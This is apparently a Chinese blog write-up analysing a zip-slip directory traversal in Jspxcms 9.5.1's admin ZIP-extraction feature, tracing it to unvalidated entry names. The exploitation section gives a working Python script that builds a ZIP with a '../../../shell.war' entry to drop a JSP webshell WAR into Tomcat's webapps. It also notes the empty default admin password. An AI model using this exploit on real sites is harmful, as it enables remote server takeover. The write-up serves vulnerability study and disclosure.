Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析

Jspxcms 是企业级开源网站内容管理系统,支持多组织、多站点、独立管理的网 站群,也支持 Oracle、SQL Server、MySQL 等数据库。

Jspxcms-9.5.1 及之前版本的后台 ZIP 文件解压功能存在目录穿越漏洞,攻击者可以利用该漏洞,构造包含恶意 WAR 包的 ZIP 文件,达到 Getshell 的破坏效果

环境配置

在 MySQL 中创建数据库,字符集选择为utf8或者utf8mb4(支持更多特殊字符如表情字符 emoji,推荐)。
执行数据库脚本。数据库脚本在database目录下。

create database jspxcms;
use jspxcms;
source mysql.sql;

Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析_第1张图片

找到 Tomcat 的安装目录,将 webapps 目录下 ROOT 文件夹删除(也可将webapps 目录下所有文件夹都删除)。建议使用干净的 Tomcat,不要部署其它应用。将下载包中的 ROOT 文件夹拷贝到 tomcat/webapps 目录下。

打开/ROOT/WEB-INF/classes/application.propertis文件,根据实际情况修改
spring.datasource.urlspring.datasource.usernamespring.datasource.password
的值。

Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析_第2张图片

双击 tomcat/bin/startup.bat 文件启动即可

Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析_第3张图片

漏洞分析

后台http://192.168.111.140:8080/cmscp/index.do admin 默认密码为空

使用 Burp Suite 进行抓包可以发现“解压文件”的接口调用情况

Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析_第4张图片

该接口对应 jspxcms-9.5.1-release-src/src/main/java/com/jspxcms/core/web/back/WebFileUploadsController.java 的 unzip 方法

Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析_第5张图片

对 unzip 方法进行跟进,发现它的具体实现在/jspxcms-9.5.1-release-src/src/main/java/com/jspxcms/core/web/back/WebFileControllerAbstractor.java 中。在对 ZIP文件进行解压时,程序调用了 AntZipUtil 类的 unzip 方法

Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析_第6张图片

对 AntZipUtil 类的 unzip 方法进行跟进,可发现该方法未对 ZIP 压缩包中的文件名进行参数校验就进行文件的写入。这样的代码写法会引发“目录穿越漏洞”:

代码中使用 entry.getName() 获取 ZIP 条目的名称,并将其用作目标文件的路径

Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析_第7张图片

漏洞利用

创建包含jsp webshell的war包:

Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析_第8张图片

制作恶意 ZIP 文件

import zipfile 
if __name__ == "__main__":
    try:
        binary = b'test' 
        zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("test.zip")
        with open('shell.war', 'rb') as file:
            binary_data = file.read()
            zipFile.writestr("../../../shell.war", binary_data)
        zipFile.close() 
    except IOError as e:
        raise e 

Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析_第9张图片

上传文件

Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析_第10张图片

点击ZIP解压,shell.war就被解压到了webapps目录

Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析_第11张图片

Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析_第12张图片

你可能感兴趣的:(渗透测试,网络安全,java安全)